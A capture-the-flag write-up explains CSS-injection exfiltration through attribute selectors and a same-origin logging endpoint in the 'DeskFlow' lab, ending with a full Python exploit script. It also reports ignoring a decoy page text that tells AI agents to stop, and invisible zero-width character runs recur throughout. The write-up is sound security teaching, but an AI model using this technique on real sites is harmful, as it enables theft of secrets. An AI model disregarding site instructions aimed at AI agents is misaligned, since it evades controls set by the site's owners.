← Back to Writeups
CUSTOMMediumWeb

Lab 279 — DeskFlow — CSS Injection Exfiltration via Attribute Selectors

XESXOR9/10/20266 min read
#web#custom#medium#character_by_character_exfiltr#csp_self_bypass#css_attribute_selector_exfiltr#css_custom_property_cascade#has_relational_selector#same_origin_request_logger_exf

Lab 279 — DeskFlow — CSS Injection Exfiltration via Attribute Selectors

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-15 | Status: Solved Techniques: character_by_character_exfiltration, csp_self_bypass, css_attribute_selector_exfiltration, css_custom_property_cascade, has_relational_selector, same_origin_request_logger_exfil

Summary

Task: DeskFlow support platform with CSP blocking JS and a sanitizer that strips <script> but allows <style>, plus an admin bot that reviews tickets. Solution: inject CSS into a ticket, use html:has(input[value^=...]) attribute selectors with cascaded custom properties to conditionally fire a same-origin background-image request to the platform's own reaction/activity-log endpoint, leaking the admin secret one hex character per auto-reviewed ticket — no JavaScript executed.

Lab 279 — DeskFlow — CSS Injection Exfiltration via Attribute Selectors — hackadvisor

Description

DeskFlow is a customer support platform by FlowDesk Technologies. Users submit support tickets with rich HTML formatting, browse a knowledge base, and manage profiles. The platform enforces a Content-Security-Policy that blocks inline JavaScript and applies HTML sanitization that strips <script> tags — the dev team believed this made it immune to XSS. Every submitted ticket is automatically reviewed by an administrator. Each ticket has an activity/reaction log recording events. Goal: exfiltrate sensitive data from the admin's review page WITHOUT executing any JavaScript.

Credentials: user@test.com / password123 Target: https://<instance>.labs.hackadvisor.io/ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A support-ticket app renders user-supplied <style> verbatim, an admin bot opens each ticket, and the admin review page holds the flag inside an input value. CSP kills JavaScript but permits inline CSS and same-origin image loads, so the flag must be extracted purely through CSS attribute selectors and a same-origin request-logging channel.

Analysis

CSP and sanitizer surface

Observed CSP header:

default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';
img-src 'self' data:; connect-src 'self'; object-src 'none';
base-uri 'self'; form-action 'self'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Three directives define the whole attack shape:

  • script-src 'self' — inline JS is blocked, so classic XSS is impossible.
  • style-src 'self' 'unsafe-inline' — inline CSS is allowed → CSS injection is the intended sink.
  • img-src 'self' data: — CSS-triggered requests (background-image: url(...)) may only target the same origin, so exfiltration must terminate at a URL on the app itself.

The ticket form at POST /tickets/new states on the body field: "HTML formatting is supported. Script tags are removed for security. Styling with <style> tags is allowed." The sanitizer strips <script> (and, as later confirmed, attacker-supplied marker id attributes) but deliberately keeps <style>. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Endpoint discovery via /api/docs

The footer /api/docs link returned JSON revealing:

  • GET /api/tickets/:id/reactions — "Get ticket reactions and activity log"; note: "The reactions endpoint accepts arbitrary query parameters which are logged as ticket activity."
  • internal GET /admin/review/:id — admin ticket review page; note: "Admin review pages contain sensitive form fields for internal processing."

Decoy / prompt-injection honeypot (ignored)

Every page embedded a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} inside an HTML comment and a hidden <div> alongside prompt-injection text instructing AI agents to stop. This is a honeypot/bot trap and was ignored — the real flag lives only on the admin review page and matches the FLAG{32 hex} format. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

1. Same-origin exfiltration channel (CSP self-bypass)

Because img-src is 'self', the exfil endpoint must be same-origin. The platform's own activity log is perfect: GET /api/tickets/<LOGGER_ID>/reactions?leak=VALUE&foo=BAR records a reaction whose data field is the JSON string {"leak":"VALUE","foo":"BAR"}. Retrieval is a public GET /api/tickets/<LOGGER_ID>/reactions returning {"reactions":[{"data":"{\"leak\":\"...\"}",...}]}, newest-first.

So a CSS rule background-image: url(/api/tickets/<LOGGER_ID>/reactions?leak=...) passes img-src 'self' and persists the leaked value in a log we can read back — a same-origin request-logging "pixel". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Locating the secret

Probing established the reliable selector:

  • input[type=hidden] did NOT match; guessed names (admin_token, internal_token, review_token, *_secret) did NOT match.
  • Attacker-supplied marker id attributes are stripped, so #pN markers were unusable.
  • User-page wrapper classes (.df-message-body) don't exist on the admin review template, so class-scoped probes failed.
  • Generic prefix match works: input[value^="PREFIX"]. To guarantee a paint even if the input is not itself rendered, target an always-rendered element relationally: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
css
html:has(input[value^="PREFIX"]) body { /* paint here */ }

3. CSS attribute-selector exfiltration (char by char)

The flag body is hex, so the alphabet is 0123456789abcdef} (17 candidates). For each unknown position, one CSS rule per candidate is emitted. Cascaded CSS custom properties keep the candidates independent:

  1. On body, default every variable to none and set background-image to the list var(--x0),…,var(--x16).
  2. For each candidate char, a html:has(input[value^="PREFIXc"]) body rule sets its --xN to a real url('/api/tickets/<LOGGER>/reactions?leak=xPOS_c_NONCE'). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Only the matching prefix flips its variable from none to a real URL, causing exactly one same-origin request that leaks the matched character. Each ticket carries the <style> payload; the admin bot auto-reviews it, painting the page and firing the request. We then poll the reactions log for the tag xPOS_<char>_<nonce> (with end meaning }), append the char, and repeat until }.

LOGGER_ID for the successful run: ef7b3856-5e51-4b7e-8adf-81e751a9e22a. The 33 recovered callbacks reconstructed the flag. No JavaScript was executed — this is a pure CSS side channel. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Working exploit

exploit.py drives everything through curl with an authenticated cookie jar:

  • make_body(prefix, position, nonce) builds the <style> payload: defaults, the background-image var list, and one html:has(input[value^="PREFIXc"]) body { --xN: url(...) } rule per candidate.
  • submit() POSTs a new ticket (expects 302; 403 = expired instance).
  • poll() reads the reactions log, JSON-decodes each row's data, and matches the xPOS_<char>_<nonce> tag.
  • main() walks positions from FLAG{, two attempts each, until }. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
#!/usr/bin/env python3
import json
import subprocess
import sys
import time
from pathlib import Path

BASE = "https://<instance>.labs.hackadvisor.io"
LOGGER = "ef7b3856-5e51-4b7e-8adf-81e751a9e22a"
COOKIE_FILE = Path(__file__).with_name("cookies.txt")
ALPHABET = "0123456789abcdef}"


def curl(*args):
    proc = subprocess.run(
        ["curl", "-sS", "-b", str(COOKIE_FILE), *args],
        text=True, capture_output=True, timeout=20,
    )
    if proc.returncode:
        raise RuntimeError(proc.stderr.strip())
    return proc.stdout
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def make_body(prefix, position, nonce):
    # Default every custom property to `none`, then list them all in one
    # background-image. Only the rule whose input[value^=...] prefix matches
    # flips its --xN to a real same-origin URL -> exactly one request fires.
    defaults = ";".join(f"--x{i}:none" for i in range(len(ALPHABET)))
    images = ",".join(f"var(--x{i})" for i in range(len(ALPHABET)))
    rules = [f"body{{{defaults};background-image:{images}}}"]
    for i, char in enumerate(ALPHABET):
        candidate = prefix + char
        tag = f"x{position}_{'end' if char == '}' else char}_{nonce}"
        rules.append(
            f"html:has(input[value^=\"{candidate}\"]) body"
            f"{{--x{i}:url('/api/tickets/{LOGGER}/reactions?leak={tag}')}}"
        )
    return "<style>" + "\n".join(rules) + "</style>"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def submit(prefix, position, nonce):
    body = make_body(prefix, position, nonce)
    out = curl(
        "-i", "-X", "POST", f"{BASE}/tickets/new",
        "--data-urlencode", f"subject=CSS extraction position {position}",
        "--data-urlencode", "category=technical",
        "--data-urlencode", "priority=critical",
        "--data-urlencode", f"body={body}",
    )
    status_line = out.splitlines()[0] if out else ""
    if " 403 " in status_line:
        raise RuntimeError("instance expired (HTTP 403)")
    if " 302 " not in status_line:
        raise RuntimeError(f"ticket creation failed: {status_line}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def poll(position, nonce, timeout=20):
    prefix = f"x{position}_"
    suffix = f"_{nonce}"
    deadline = time.time() + timeout
    while time.time() < deadline:
        raw = curl(f"{BASE}/api/tickets/{LOGGER}/reactions")
        try:
            rows = json.loads(raw)["reactions"]
        except Exception:
            if "403" in raw:
                raise RuntimeError("instance expired (HTTP 403)")
            raise
        for row in rows:
            data = json.loads(row["data"])
            leak = data.get("leak", "")
            if leak.startswith(prefix) and leak.endswith(suffix):
                encoded = leak[len(prefix):-len(suffix)]
                return "}" if encoded == "end" else encoded
        time.sleep(1)
    return None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def main():
    known = sys.argv[1] if len(sys.argv) > 1 else "FLAG{"
    print(f"start: {known}", flush=True)
    while not known.endswith("}") and len(known) < 40:
        position = len(known) + 1
        found = None
        for attempt in range(2):
            nonce = f"{int(time.time())}{attempt}"
            submit(known, position, nonce)
            found = poll(position, nonce)
            if found:
                break
        if not found:
            raise RuntimeError(f"no callback for position {position}")
        known += found
        print(known, flush=True)
    print(f"FLAG: {known}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


if __name__ == "__main__":
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍